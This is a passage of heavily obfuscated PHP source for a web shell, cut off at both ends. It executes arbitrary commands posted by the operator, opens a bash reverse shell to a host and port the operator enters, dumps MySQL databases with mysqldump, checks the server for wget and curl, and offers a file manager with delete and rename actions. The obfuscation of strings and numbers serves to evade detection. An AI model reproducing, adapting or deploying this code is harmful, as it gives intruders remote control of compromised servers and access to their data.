\x73t\171\154e=\x22wi\144\164\150\x3a\x3178px\x22\040\164yp\x65\075\x22te\170t\x22\040\156am\145=\x22\165r\154\x22>\x0d\012<\x74ab\154\x65\x20\143las\163=\042\x79\141\042>\015\x0a<\164r\x3e\x0d\x0a<td\x20style\x3d\x22\x70\x61\x64d\x69ng: 0\073\142orde\x72\x3a \x6e\157n\x65\042\x3e\074in\x70ut s\x74y\x6c\x65=\x22ma\162gin\055\x6ceft: -\x31px\x3b\167i\x64\x74\x68: \x396p\x78\073\042 t\x79\160e\075\x22s\x75\142\155it\x22 \x6e\x61m\x65=\x22s\x75\x62mit\x5fu\042\x20v\x61\154ue\x3d\042\105nco\x64\145\x22><\057td\076\015\012<td \163\164yl\x65\075\x22\x70a\x64d\151ng\072\0400\073b\157\x72de\162\x3a \156o\x6ee\x22><i\156p\x75t \x73t\x79l\145\075\042m\141\162g\151n\055r\x69gh\x74: 8px;wid\164\x68: 9\066px\073\042 t\x79\x70\145\x3d\042\x73\x75b\x6dit\042 \x6eame=\x22sub\155\151t\137\x752\042\x20val\165\145=\042\x44\x65\143od\x65\042>\074/\x74\144>\x0d\x0a\074/tr>\x0d\x0a\x3c/t\x61ble>\x0d\x0a</f\x6f\x72m\x3e\015\012\x3c/\160r\145>\x0d\x0a<\x2f\144\151\x76\x3e\x0d\x0a\x0d\012\x3c\144iv s\x74\x79\154e=\x22\146\154oat:\040\x6cef\164;d\x69splay:b\x6c\157ck\x3b\167idth\x3a2\x30\070px\x22\x3e\015\x0a\x3cp\162e\076\015\012<f\x6f\x72\x6d\040 me\164h\x6fd=\042\x50OST\042>\x0d\012\074l\141bel><\142 c\154\x61ss\x3d\x22\142t\042>\x48E\130\040\x65nc\157\x64e/\x64\145c\157\144\x65:<\x2fb\x3e\x3c\x2f\x6ca\142\145l>\x0d\x0a<i\156put \163t\x79le=\x22wi\x64\164\x68:\x31\067\x38\x70\x78\042 type=\x22te\x78t\x22\040\x6eam\145=\x22hex\x22\x3e\x0d\012<tabl\145 c\x6c\141\x73\x73=\042ya\042>\015\012<\164r>\x0d\x0a<\164\144\040\163t\171l\145\075\x22pa\144\144ing:\0400;\142\157r\x64\x65r\072 n\x6fne\x22><\x69\x6epu\164\040sty\154e=\042\x6d\141r\x67in\055\154e\x66t\x3a -\x31px\x3b\167\x69\144t\x68\072 \x39\066px;\042 \x74y\160e=\x22s\x75\x62mit\x22 na\x6de=\042subm\x69\x74_\x68\145\x78\x22 \166a\x6c\165\145=\x22\105nc\x6fde\x22\x3e<\x2ft\x64\x3e\x0d\012\074td style=\042\160a\144\x64\x69ng: 0;\x62or\x64\x65\162\072\x20n\x6fne\x22\x3e<\151\x6e\x70ut style\075\x22ma\x72\147i\x6e\x2dri\147\150\164:\x208p\170;\x77idt\150: 9\066\x70\170\x3b\042 \164\171p\145=\x22\x73ubmi\x74\042 nam\x65\075\042sub\155i\164\x5f\150e\x78\062\042 \x76\141\x6cue=\x22D\x65c\157de\042\076<\x2ft\144>\x0d\x0a</tr>\015\x0a\x3c/ta\142le\x3e\x20\x0d\x0a<\057\146orm>\015\012</\160re>\015\012</di\x76>\x0d\x0a\x3cdiv\040\163tyle=\x22f\154o\141t: le\x66t\073disp\154ay\072bl\157ck;wid\x74h:\062\0608\160\x78\042>\x0d\012<\x70\162e>\015\012\074\x66orm m\145\x74hod\x3d\x22\120\117ST\042\076\x0d\x0a<l\141b\145l\076<b\x20\x63l\x61ss=\042\x62\x74\042>\x42ac\x6bConnect\x3a</b></\154\x61b\145l\x3e\015\012<i\x6eput\x20st\171l\x65\075\042wid\x74h:1\067\x38\x70x\x22 t\x79p\x65=\042te\x78\x74\x22 nam\x65=\042\x68\157s\164_\x22\040p\154\141c\145\x68ol\x64\145\162=\x22Ent\x65r \x68\x6f\x73t\x7c\x70or\164\042 \x72eq\x75i\x72\x65\x64\076\x0d\x0a<\164\x61b\x6ce cl\x61\163\163\x3d\x22y\141\x22>\x0d\012\074t\x72>\015\x0a<t\144\x20style=\x22pa\x64ding: 0\073bo\x72der\072 n\157\156e\x22><in\x70ut s\x74\171\x6c\x65=\042\155a\x72gin-l\x65ft\x3a\040-1p\x78;wid\x74h\x3a 96p\170;\x22 t\171pe=\042\x73\x75\142mit\x22\040n\141m\x65=\042\x72e\x76er\x73\x65\042 \166alue=\x22R\x65vers\145\042>\074/td\076\x0d\x0a\074\x2f\164r\x3e\x0d\012</\x74ab\x6c\x65>\015\x0a<\057f\x6frm\076\015\x0a\074/pr\145>\x0d\x0a<\x2f\144\151\x76>\x0d\x0a<hr\040\163tyle=\042\143lear:\x62oth\042>\x0d\x0a\074\x2fd\x69\166\076";echo$_uvdkc;$_ynpsbyx="p\x61\x73"."\163th"."\x72u";$_rcybrnu="ex"."ec";$_vjkwif="\167\150\151c\x68\040\x67et\x3bwhic\x68 w\147\145\164;whi\x63\x68\040l\171\x6e\x78\x3b\167h\151ch\040curl\073w\150i\143\150 fetch\x3bwhi\143\150 \x6cink\x73;";$_szxgsfl="b\141"."\163\145"."\066"."4"."_"."en"."c\157"."de";$_fjhyzh="ba"."s\145"."6"."\064"."\x5f"."\x64\145"."\x63\157"."d\x65";$_naqt=$_fjhyzh("cG\x68wIC1y\111C\144\x77c\x6d\154u\x64\x469yK\x47dldF9k\x5aW\x5a\160\x62m\126kX\x32\x5a1b\x6dN0a\1279\165cyg\x70KTs\x6eIH\x77g\1323J\x6cc\x43At\122\x53An\111\103h\x7aeXN0ZW\061\070ZXhlY\063xz\x61GV\x73b\x469leG\x56j\x66H\x42hc3N\060a\110\x4a1\x66HByb\x32\x4e\x66\1423Blbn\170wb\063Bl\x62\156\170\152d\x58\x4a\163X\062V\064\132\127N8Y3Vyb\x469\164dWx0\x61V9le\107V\152fHBhcn\116l\x582\x6c\x75\x61V9m\141Wxlf\110N\x6f\x62\x33d\x66\1432\x391\143\x6dNlK\123\143");if(isset($_POST["cm\144"])){echo"\074\x70re\x3e";$_ynpsbyx($_POST["cmd"]);echo"<\x2f\160r\x65>";}if(isset($_POST["\x69\x6efo"])){echo pHpiNfo();}if(isset($_POST["\144o\x77\x6e"])){echo"\074\164\145xtarea\040\143ols=37\040r\157\167\163\0757 \x73\164\171le=\x22pad\144ing:\0405p\x78\073\x72e\163\x69\x7ae: \156on\x65\073\x22>";$_ynpsbyx($_vjkwif);echo"<\x2ft\x65x\164\x61r\x65\141\x3e";}if(isset($_POST["f\165n"])){echo"<pre\076";$_ynpsbyx($_naqt);echo"\074/p\162\x65\076";}if(isset($_POST["DB"])){$_rmxcbki=$_POST["host"];$_lykvo=$_POST["\165\x73\145r"];$_grmrqyui=$_POST["\x70a\163s"];$_ldni=$_POST["\156\x61m\145"];$_cgxnet=$_POST["\x70\x6frt"];$_vwtg=new MYSQLI($_rmxcbki,$_lykvo,$_grmrqyui,$_ldni,$_cgxnet);if($_vwtg->connect_error){die("<b \x63\154\x61\163s='\160\x6d'>Da\164\141b\141s\x65\x20ac\143es\163 \151s\x20not \141v\141ila\x62le:</\142><\x62r>".$_vwtg->connect_error);exit();}else{$_rcybrnu("mys\161ldum\x70\040-\x2dpo\x72t=".$_cgxnet."\040\055\055u\x73er=".$_lykvo."\040--\x70\x61\163\163\x77\157r\x64=".$_grmrqyui." --host=".$_rmxcbki."\x20".$_ldni." >\x20f\151l\145.sq\x6c");echo"<\142\040c\x6c\x61\x73\x73\x3d\042\142\164\x22 styl\x65=\x22\x66\157nt-\x73iz\145: 1\x34\160\170\x22\076Du\155p \143\x6f\x6d\160l\x65ted!</\142>";}}if(isset($_POST["\163u\142mit"])){$_cmlwywg=$_POST["b\141se6\064"];$_kiow=$_szxgsfl($_cmlwywg);echo"<\160 cl\141ss\075\x22pm\042\x3e"."En\143\157\x64\145 \142as\x65\066\064\072 "."</p\x3e".$_kiow;}if(isset($_POST["\x73\165b\x6d\x69\x742"])){$_csbnv=$_POST["bas\145\x36\x34"];$_kejistnh=$_fjhyzh($_csbnv);echo"\x3cp cla\163s=\042pm\x22>"."\x44e\x63\157\144e base64\x3a\040"."\074/\x70>".htmlentiTIeS($_kejistnh);}if(isset($_POST["submi\164\137\165"])){$_zfjlqgbp=$_POST["u\162l"];$_wkgd=urLENcODe($_zfjlqgbp);echo"<p cla\163s=\042\160\155\042\x3e"."Enco\x64e url: "."\074/\160>".$_wkgd;}if(isset($_POST["\x73ubm\151\164\137\x752"])){$_aqzs=$_POST["u\x72l"];$_myxishj=UrLDEcoDe($_aqzs);echo"\074p\x20c\154\141\163\x73=\042\160m\x22>"."D\145\x63o\144\145 ur\154\x3a "."\x3c/p>".HTmLEnTitIeS($_myxishj);}if(isset($_POST["sub\x6di\x74\137\x68ex"])){$_oxokbtvz=$_POST["he\170"];$_slvz="0x".Bin2hEx($_oxokbtvz);echo"<\160\040c\154\x61ss\x3d\x22\160\155\042\x3e"."\x45\x6ecode HE\x58: "."\074/\x70\x3e".$_slvz;}if(isset($_POST["su\x62mi\164_\x68e\x782"])){$_wtmefwn=$_POST["he\x78"];$_fgovkbs=heX2bIN(SuBsTR($_wtmefwn,(int)ROund(8.5+8.5)-(01054-0465-0350)));echo"<\x70 \143la\163s=\042p\155\x22>"."Dec\x6fd\145 HEX: "."<\x2f\x70>".HtMLEntItIES($_fgovkbs);}if(isset($_POST["\x72e\166e\x72\163e"])){$_rbre=EXpLODE("|",$_POST["host\x5f"]);$_ynpsbyx("\x62\x61\x73h -c '\142a\163h\040-i &\076\x20\x2fde\166\x2ft\x63p/".$_rbre[(int)round(-173+-173)-(-0405+-0636- -0511)]."/".$_rbre[(int)rOUND(-6.5+-6.5+-6.5+-6.5)-(int)ROuND(-55+-55)+(0777-0733)-(-0116- -0305)]."\x20\x30>&1\x27");}$_wnpanqd="\x3c\x2fd\x69v>\015\x0a<di\x76 id\075\x22t\x6f\x6fls\x22 class\x3d\042to-b\x65-\x63h\x61nged\x22>\x0d\x0a\x20\x20 \040 \040 <f\x6fr\155 \x63\154as\163\x3d\x22all\042 \x69d \075\x22\164\141b\042 \x61\143t\x69on=\x22".$_SERVER["P\x48\x50\137SELF"]."\x22 m\145\164\150\x6fd\x3d\x22\x70\x6f\x73t\x22 \x6e\141\x6de=\x22pa\x74h\042>\015\x0a\040\040 \040\x20 \040 \040 <table \143\154\x61\x73s=\x22\x74o\042\076\x0d\012 \040\x20\x20 \x20 \x20\040 \040 <tr>\x0d\x0a \040 \040 \x20 \040 \x20\x20\x20\x20 <td><\141 href=\x22".$_SERVER["PHP\x5fS\x45\114F"]."\077pa\x74h=".__DIR__."\x22>\x3c\151mg\040\163\x72c=\x22d\141ta\x3aim\x61\x67\x65/\160\x6eg;\x62\x61se6\x34\x2c\151V\x42\x4f\122\x77\060\113\x47g\x6f\101\101\x41ANSU\x68\x45\x55gAAAC\x41AAA\x41\147CAY\101\x41\101\x42z\145nr\060AA\x41ACXB\111W\x58\x4d\101AA\067E\101\101A\x4fxA\107VKw\x34b\x41A\101A\111G\116I\125k0AAH\157l\x41A\103AgwAA\053f8\101AI\104oAAB\123\103A\x41\102FV\x67\x41\101\x44q\x58A\x41\x41X\x629\x64aH\x35A\101AA\x4bj\x53\125\x52BV\x48ja\067\112fPaxNREM\x65/\163\057uiSUOa\x52\126o\x70\x4aZ7\0601\162O\x67\x50b\x56Q\x4b\061g8e\x53mIf\x34\x47g\102Q96\x55d\x43C6E3Bg\0639\x42i\x2fUm\x65G\x6eV\145\157h\160U\x51S\x52iqCe\122\x45OREtIkbZL\165\x37h\x73P2\x36Q\x766b\x37\x4eJo3k\x59Af\155s\120tedj\x34zb\x33\0668EDO\152l2Kg\x783II0HM\x41oT5k\0601dGE\067\x48q\123\065a\x75\x46\146Qj\102vKOj\x454NnJn\114d\107JU\124\146\x77G\101\x46n\116Tey\x77bakbN\x46VigYo\x54\101D\112dj\x59Bt\x6c\x79\x6ba\115S\x47l\x42L\x50cA\065\x50\1235\x2f\103\117\x6a\x47\x2b\x73\x58\113Lamh8oEXl\142D\121\x4e\x67h\x6dG\113z\x52\145L\0635\070C\x71\120\x67CMEtISX\102d\x42\x367r6\15717u\x47\120V\143nGsZZ\111ZXpo\x4a\x49W\103\141A\x6c\120j\x4b\x51B4pAFgu\113\066D2\113lbSK\121\1556x4\x63\x56K\x53UK\1205a\122Pn\110\1015C9\x6c\144R\x57QS2M3\124R\x65\151\x30\x4c/\151\x66\x4f\121\x55sJxbH0O5PIl\x39A3\106wb+f\x77FV\10332m7\126\x70\060\x67\x49o\101Ym\x34U\171\150nU\x41Iy\x66\x6a\x69\x4dd\x4d\111P\143\x38\132\10405TRa\106fg8Jp\x41YJtkX6CBw\126\126QB\x39\064Q\x302Gw\065\141ZwcggYg\x49\x41Aj8iGrIz1\x50VkC467A\x42\x6fBa\x44znES\x6aAljK\x5aEE\105TJx\126Tl\x56Wgp0\111\141\x6bShPN/V1c9\0653H6\070BgB\111\112i2\x63\x48u\x6e3DB\x74RDyJkjoQ\x66Ro\162x\1521+3c\x65\x4e\053\102\161\131BmA\x59w\x4d\x35v\x47p\x328V/d\1060cxq+Xyvg\x32\16423MAw0\x36N\1257\x62\057DhS\053\110fA\x69x\154\163pi\132\x54YM\111\115JqUCL\150\x2bL\x341X\x4b\x39nW\171\141w\x44aN\x589zo0\117K9\062t\125WvSk\112Bq\105q\x73\x61GIEQ51\152jXJ\066\146\x78vL8\x64MO7A4\061\x6a33p\x75\101p\x4d\x4dG\x41yoQ1JKgNl\x62\x61\x38eR\146Q\102ev97rW\x76o\142De\1034ANgb\062Y7b\x52h\x53\1421\x73S+\062V0rN00E\126\150\x63\x757\x446b\x39X\160/\x39+x\x69H\141Y\x56\146\x43AAKOJv\130P\062wr\x74\x57\x47n\x68\155s\102\x39\152YSp\x59\107k\x75R5x\x77I\x64i1\070Ey\x41\122I\157F\x6aaL\151\x58\125\x31\x2b\161\163Tw1F\152\x312e\124\116w\x38\120m\x68\132\x4c\x46tdydq\057lK\172/\171e\x63XX\x70\x63\145\x2fl\x7afyfkCH\1204\x7a+\1518B\057g\064A/9U\x61nj\103\x4b\167\x69YAAAA\x41\x53U\126ORK\x35\103Y\111I=\042\040\164\151\x74le=\x22\110o\x6d\x65\042/\076\074/a\076\074\057t\x64\076\015\012 \x20 \x20 \x20 \x20 \040\x20 \040 "."\074\164\144\040c\154ass\x3d'\143o\154\x27>??\073 \x3c\141 \150re\146='".$_SERVER["PH\120\137SEL\106"]."\077pat\150=".$_hkqxc."'>Up\x20on\145 leve\154</\x61>\074/\164d\076"."\x0d\x0a\x20 \040 \040 \040\x20 \x20 \040 \x20\x3c\x74\x64\076<\141 hre\146\075\042".$_SERVER["H\x54TP\x5fRE\106ERER"]."\x22\076<img s\162c\x3d\x22\144\x61t\x61:ima\x67\145/\160n\x67;b\x61s\x65\0664,\151V\102\117Rw0\x4b\107go\101A\x41\101N\123\125hEUgA\x41ABgAA\101AY\103\101\x59AA\101D\x67\144z34\x41AAACXBI\x57XMAA\101s\x54AAA\x4c\105wEAm\160wY\x41A\101AIG\116\x49U\153\060\101AHo\154AACAgwA\101\x2bf8AAIDo\101\x41BSC\x41\x41BF\x56\x67\101\x41\104q\130\x41\x41A\x58b9\x64\x61\110\065AAA\x41\x4eJ\x53\125R\102VH\152\x61\067N\x56\x4cbxt\x56H\101\130\x77E\x79Rg\x78\123\x4bsIHFc\x69\x33g8\x6e\x68nP2\x2fO\x770yR\x2bN\114\105\071Gc8j\x43\1215\117\x78km\x61\x4am3I\1571\103\x70QaISpD\x51ERSg\x6f\113tRF\167Y\x33\x62\112Z\070Ad\126\x75p\x484E\x56\132YEEEi\x421\121Rf\144\x67\116TLYvpKqW\x68\x70Q\101K\112x\144l\144\063\132/\117\x76\x58\x2fdC0I\x49\x2fs\x6e\x67\146+\104\x66Bf\x43\124I\x76h\x4a\x45dK\x4dDL\x45hg5\166gwdV\x34CIE\x452mFe\x6b\155\x62k\x5auoN\x34U\x32\165\170oO\x62\x34\x4a\x48\060W\x59gNG\x66JR\102\x63qx\116J\x67x\x46kI\147g\x52\x6e\x6c\105\1038nEC\x38n\156\147D\125e\114D\x6a\110F\1121\157VN\142Mi4\x58N\0648Qb\x63n\131S\x69/q\125E9oY\x469\x50P\x54s\x67\x42\x42\x4c\x45\150g\171x\x49QvZ\164\143\x50X7ItVYn\0602Qv\x51VY1\x31\x66Ng8Op\x4f\x6fC\x35\x44k1lz9\x62uFH\x64dY\152X\x39s\x6cI0y\x62Z04fP\155W9\156\x6fc\171nO\x35h\x52DsKU9BeB\165g\147\x68kKAua\x50\x4f\106zS\x4f3nJ\x5aH\x33D\062\x50uJc\x384rR\143\x4d\x72\x78d/\155\x6e\x67\x7a\117B1\x3863\x73l+\113\115/\11148q\065hC\111L34\126\x49\101QSB\x41C\x36\127V91\x54\x78\x66+qRM\156EsPNn84Tss\x6c1S8c\131\x6aer\x5aG\x68r+\110\142\x6d\x56P\131r\x65U4dZnzu\x7a\x77F5Tl0z\124ma\x75\152\154\171w\x69dt+/ObuPX\x54P\111\x396eT\067\x792T\x35\171\127S4o\x66\104\x66\062qzKc3u\121\x6e\053\150\131MDj\x77G\071tk8\1615y2\x53\130\x74Sbt\x4dMc\x37I\1518\x52x\162\x63\127+\120t\053a\123y\131\x78\107\170IZ/\161\110\141\x61\x657Z\112L2+Wf\x632fzN\x2f\x49bx\132\x74DH5\x64\053K\x2b\x39\x55\x37lR3He\x4b2\x77\x78\x5ae2\171f\065\104w\x6f/M\161Oc\122Fn0\12543\160\x74+G\x59\145s\124\053v\x45\161M\126X\x4d\x6a\x58k\x6b8\x467cSrzD\152KU\x55\053ps4\141\161+blwfd\x7a3\061mfW\156f8\x74\x6b\053q\165\1675\x52F\067XmHxv\125wwb\123U\x51X\x69\164A\170p\x56\x6fE\060rQh\071a\0573X\067\x49t\x56MnLBJv\x71\x79sZ\x370WPSW\113\x44\x44\x6a\113Sg\114aVA2D\141\067\x47\122/QV40\170\x68\x6f3jTabm\x6b\x63K74Q\x37y\x53iO8\110\x70\163\x49G\166\127\x55\113s\146xr\x69\x417E\x51\104\163\115\x55\x6eWhU18Onwp\152xdxS\152\062\x74\147fA\x37\163X\x59B2G\121\x69\x42B\110lO\102T\120\x47qoPv\065b4\x757\x31\121I\x50y\153G+4Ce7CH0Z\101+h\062+y\065ny49\147u\150AD\x45\155Xf\132\066fE\1649Numy\x64dp\112\x492D\122\x6f\154\x37\153\120\070\106Mi1A\x55\x4e\154E\127\x44G\x65\130\123\165fX8L8b\112\x7aJV9Q\103QT\x66T\x51d\x58\126qk\111\x39of\x519\112\x6a\153\x61\x6f\114Iap\x468Kraj\127h/\x44OoJDbQ\x54N\x6c\103\x4fp\x35Gw\x61\x56\101\x57\x44XVR\x2b\x7a\102\x37u\165+\x62\x4awHo\060\x69\112\064GI\x68\x6b\x6f\x75g2Q\x69Q6c\x42dw\x47XA\x31\x48tKs/\x4f\101e\x705\125+\142Un//m\070D\145ks\125K\111s\107\132Y\145\112VxKdzB\1513\057d/\057M\x6e8fA\x48P\160K\062j\160Q\060\062\145A\101AA\101ElF\x54k\123\x75Qm\x43\x43\042\040ti\x74le=\x22\107o\040b\141c\x6b\x22/\076</\141\x3e</td\076\x0d\x0a\040 \x20\x20 \x20 \040 \x20\040\x20 \074t\144>Pat\150\072 \074\x69np\165t st\x79\154e=\x22\x62\x6f\x72der:\040\x31\x70\170 so\154\151\x64\x20#cc\143c\x63\143;w\151\x64\x74h:\04012\065\060px\073\x22 na\x6d\x65\075\x22p\x61t\150\x22\x20t\x79pe=\042te\x78\164\042 va\154\165e\x3d\x22".geTcWD()."\042 \x2f\076\x0d\012 \x20 \040\040\040\040 \040 \x20 <\151\x6epu\164 s\x74yl\145\075\042b\157r\x64e\x72: 1px so\154i\x64\x20#c\143cc\143c;\x22 ty\x70e=\x22su\x62\x6di\164\042 n\141\x6d\145\x3d\042\163u\x62\x6ditBtn\x22 valu\145=\042\x47o \x64\151r\042\040\x2f>\x0d\x0a \040\x20 \x20 \x20 \x20\x20 \040\040\040 </t\x64>\x0d\012\x20 \x20\040 \x20 \x20 \040\040 \040 \x20 </t\162>\x0d\x0a \x20\x20 \x20 \x3c/\x74abl\x65>\x0d\x0a \x20 \x20 \x20\040\x20\x20 \x3c/\x66orm>";echo$_wnpanqd."<\144i\166\040\143\154ass=\x27al\154\047\x20id='\162esul\x74'><form method=\047po\x73\164'\x20\141c\164i\157\156='#\x6f\160\145\156\x4dodal\047\x3e<ta\x62le\040i\x64\075'f\151rs\x74t\141b\047>";echo"\074t\x72\040\163ty\x6c\x65 =\x20'\x62\x61ck\147ro\x75nd-c\157\x6co\162\x3a \0437\063afe\064;c\x6f\154\157r:\040\0430\105\061\x375D;\150eight\x3a \0624\x70x\x3b'><td></\x74\144>"."<td\x3e"."N\x61me"."\x3c/td>"."<td>"."Acti\x6fn"."</t\x64>"."<t\144\x3e"."\x50\145r\155\x69s\x73i\x6fn\163"."</\164\144>"."<t\x64\076"."\x4fw\x6eer\x2fGr\x6fu\x70"."<\x2ftd\076"."\074\x74\x64\076"."\115o\x64\151\146\x79"."<\057td\x3e"."<td>"."\123\151ze"."<\057td\x3e<\x2ftr>";$_shwl=array();$_aqruztoq=array();$_zqcs=array();while(false!==($_mkmoxkqd=reaDdiR($_gtypsxr))){if(IS_link($_mygveyhr."/".$_mkmoxkqd)){ArrAy_pUsh($_zqcs,$_mkmoxkqd);}elseif(iS_FIle($_mygveyhr."/".$_mkmoxkqd)){ArrAy_PUsH($_aqruztoq,$_mkmoxkqd);}elseif(Is_dIR($_mygveyhr."\057".$_mkmoxkqd)){ARrAy_pUSh($_shwl,$_mkmoxkqd);}}clOSeDIr($_gtypsxr);}else{echo"\x3c\x64\151\166><span cl\141\x73\163=\042e\x72r\x6fr\x22>C\141n\047\164 op\145\x6e\040\x66\x6fld\x65\162!\074br><\142r><a\x20\x63\x6ca\163s=\042\x61_\x73\151\172e\042 href=\x22".$_SERVER["HTTP\137R\x45\x46ERER"]."\042\x3e\x2d->\040\x47\157 b\141\143k\x20<\055-</a>\074/s\x70\x61\156\076<\057\x64iv\x3e";}SOrt($_shwl);SORT($_aqruztoq);Sort($_zqcs);$_yugnbt=ARRAY_MErge($_shwl,$_aqruztoq,$_zqcs);foreach($_yugnbt as$_mkmoxkqd){if($_mkmoxkqd!="."&&$_mkmoxkqd!=".\056"){$_eyioktbq=$_mkmoxkqd;$_hbweya=POsIX_gEtPWUId(fILEowNer($_mkmoxkqd))["\156\x61\155\145"]."\x2f".PoSIx_geTgRGid(filegrOuP($_mkmoxkqd))["n\x61m\x65"];if(STRLEN($_mygveyhr)==((0255-0132- -0323+-0456)+(-050+04)+(int)roUnd(14+14)+(0454+02-01015- -0360))){$_mkmoxkqd=$_mygveyhr.$_mkmoxkqd;}else{$_mkmoxkqd=$_mygveyhr."/".$_mkmoxkqd;}if(IS_lInk($_mkmoxkqd)){$_ytia=rEAdlINk($_mkmoxkqd);if(sTRpoS($_ytia,"\x2f")!=(int)rouND(0+0)){$_ytia="\057".$_ytia;}if(IS_filE(reAdLINK($_mkmoxkqd))){echo"\074t\x72 \x74abindex=\x270'\x20clas\x73=\x27n\x6fte'\x3e<t\x64\x20cla\x73s\075\x27cbox'>"."\074input\x20t\x79pe='che\143kbo\x78'\040na\155e\x3d\x27ch\157\x6fse\133]' v\141\154ue=\x27".$_mkmoxkqd."'>"."\x3c/\x74\x64>"."<\164d\040c\x6c\141s\163\075'\x63ol'>&#\x31015\060;"."\x3c\151np\165t c\154\141\163s='o\160enf al\x6c'\040typ\x65='s\165bmit\047 na\155\x65\075'\166\x69ew\x27 va\154\165e=".$_eyioktbq.">"."</\164d>"."\x3ct\x64>"."<inp\x75t\040sty\x6ce=\047\142ord\x65\162\072\x20\061\160\x78 s\x6fl\x69\144\040#\x63\143\x63ccc;\047\040n\141\155\x65='\144el' val\x75e='\x44'\040\164\x79\x70\x65\075\047su\142m\x69t\x27 \x74\151t\x6ce='\104ele\164e\047>"."<input\040s\x74y\154e\x3d'\142order: 1px \x73o\154\151d\040\x23c\x63\x63c\143\x63;' nam\145\075'ren\x27 v\141\154ue\x3d'\122\047 \x74ype='subm\x69\x74'\040\x74\x69tle='R\x65nam\x65'\076"."<inpu\x74\x20st\x79le\x3d'bor\x64e\162:\0401p\170 \163\157l\151\144\040\x23\143c\x63c\143\143;\047 nam\x65='tou\x27 \166\141lue='T' ty\160e\075\x27su\142\155i\164'\x20\x74\151\x74l\x65\075\x27\x54ouc\x68'\076"."<t\144>"."\x5b"._ddisiu($_mkmoxkqd)."] "._ckskxf($_mkmoxkqd)."<\057td>"."\x3c\164\144>".$_hbweya."\x3c/t\x64>"."<td>".datE("d-m-Y H:\151:s",fILEmtIMe($_mkmoxkqd))."<\x2ftd>"."<td>L\x49\x4e\x4b\074\x2ftd\x3e\x3c/tr>";}else{echo"\x3c\164\162\x20\164a\142i\x6e\x64\145x='0\047 \143\154\141s\x73='\156o\164\145\047><t\x64 class\075'c\x62\x6fx\047>"."\074in\x70\x75t\040\164\171pe='c\150\145\143kbo\170\047\x20\x6eame\075'\x63hoose[]\x27 v\x61l\x75e=\x27".$_mkmoxkqd."'\076"."\x3c\057\x74d>"."<td c\154a\163\x73\x3d'\143\157l'>\046#1\x301\0650\073\x3ca \150\x72ef\075\x27".$_SERVER["\120H\120_SELF"]."\077pa\164\x68=".$_ytia."'\x3e".$_eyioktbq."</\x61> </t\x64>"."<t\144\x3e"."\074in\160u\x74\x20\x73\164yl\x65=\x27b\x6frd\145r:\0401px solid #\143\143ccc\143\073' n\141m\145=\x27del' va\x6c\165\x65\075'\104' \164ype='s\165\142mi\x74\047 title\075\x27D\145l\x65t\145'>"."<\x69\x6eput\040\163\x74\x79le='\x62order\072\040\x31px so\154i\144 \043\143\143cccc\x3b\047 na\155\145=\x27re\156\x27 v\x61l\165e='\x52\x27\x20type=\x27\163\x75\142mit\x27 t\151tle='Rena\155e'>"."<input\x20st\171\154e=\047\142\157\162d\x65r\072 1\160\x78 sol\x69\144 \x23\143c\143\x63cc\073' \x6e\x61me\x3d\x27tou\x27 va\x6c\165e='\x54\x27\040typ\145=\x27s\165bm\151\x74' \x74it\x6c\x65='\x54ouch'\076"."<t\x64>"."["._ddisiu($_mkmoxkqd)."]\040"._ckskxf($_mkmoxkqd)."\074/\x74\144>"."\x3ctd>".$_hbweya."</\x74\x64\076"."\074td>".dATe("d\x2d\x6d-Y \x48:\x69\072s",fILEMTIme($_mkmoxkqd))."<\057td>"."<t\144\x3e\114\111NK<\057t\144\076\x3c\057tr>";}}elseif(IS_fILe($_mkmoxkqd)){$_zkzlbi="";$_riahh=FilesIZE($_mkmoxkqd);if($_riahh<((int)ROUNd(280.75+280.75+280.75+280.75)+(01452+01433-03110- -02217)+(int)ROund(253.25+253.25+253.25+253.25)+(-03533- -05374-06205))){$_zkzlbi="B";}elseif($_riahh<((03777532- -0443)-(04000653-04000152+03776763)+(int)RounD(524123.5+524123.5))){$_zkzlbi="\113B";$_riahh/=(int)ROunD(342+342+342+342)-(int)ROUnD(172+172);}elseif($_riahh<(int)rOuNd(357913941.33333+357913941.33333+357913941.33333)){$_zkzlbi="\115B";$_riahh/=(03776557+03777332-03776455)+(int)roUND(349551.66666667+349551.66666667+349551.66666667)+(-03776522- -04000407-04001440);}echo"\x3c\x74r \164a\x62\151ndex\x3d\x27\x30\047 \143\x6cass\075'\x6e\157\x74e'>\074\x74d\x20\x63l\x61ss\x3d'\143box'>"."<i\x6ep\165t\x20ty\160e='\x63heckbox' n\141me=\047c\x68\x6fo\163e[]\x27\040v\x61\x6cu\x65=\x27".$_mkmoxkqd."'>"."\x3c\x2f\x74d>"."<t\x64\040\143lass='col'><i\155g src\x3d\x27\x64ata:\x69\155age/png;b\141se\0664\054iVB\x4f\122w\x30\113\x47goAAA\x41NSUh\x45\x55\147AAABAA\101AAQC\101YAA\x41A\x668\0579hAA\101ACX\x42\x49WXMAAA\x73\124\101A\101\x4cEwEAm\160w\x59\x41\x41AA\111G\x4e\111\x55k\060A\x41\110o\x6cA\101CA\147w\101A+f8AAID\157\101\101\102S\x43\101\x41\102\106Vg\101A\x44qX\x41AA\x58b9daH5A\x41\x41AFg\x53\x55\122\102VHja\x66J\x4aBb\x74V\x41E\105\124f\117F\x38iipFyLlY\065AK\x77Q\x32\x79gHQ\102\110r\132\111MQCnCE\132\x49\x56E\x4aNa\x63Iu\167\065\x77k\x39ifkJ3FYu\170/ze2\x77\060\147tj9xTVd\x33V\130\x57xj25dXP1it9l\1476N\172\x39/\x38\14570\126\126\156K\154YGgu3\053gfb\066/+O\x6a\x698\x37Ujx\115nx0Sz\x66D\x42\x64\150J\110k\x61\131Nvm5P\151\x6ff\x4cz45o\152w\111kF\104oW\155\141M\1470oB\x55CS37x\x2bwac\x7637Ht\127Qt\0639\x78va\x67\x32\x66zH\153vh7\120y\113tt3\110\x4e\x67bW6\064\067Tty9rO3Yt/e72t\x33\x75\x79WW\x54K\152\x34/h\x7ae\141Pu+7B7z983b5d\x54\x54\062Y\x71mca\x4f4kA\117\x38kEW\x39s\x33q\x36kHY4KIt\1010Rx\157Z\115k\x49\122d5gTj\103\156\x62K6\160\130\x56g\062\x73F2\156\x6d4XMF\x55\x2bZ\x2fyp\x65\x55W\122J\x33G\126H\x6b\101\104\061/Xz\132\x67TU\115\x6f\x32\117\x53\150\1147n\x75uYAmUT\x33\150AikwR\x6bX\063\132Ax\101\x79K\x7a\147\1720V\115ehNwr\x44\x72s\x78H\160\x397\105\171\164\x34\x68\116\070R2\x42Ap\121\x69J\1049\x525J\x5a\150\112\150\x49\x6bVm\x31u\x6dM1\155\1277\x79\x75vbb\x76\145T/x\070\x62\104\x67/bAvB3ANDO\154l1QT\x74u\123A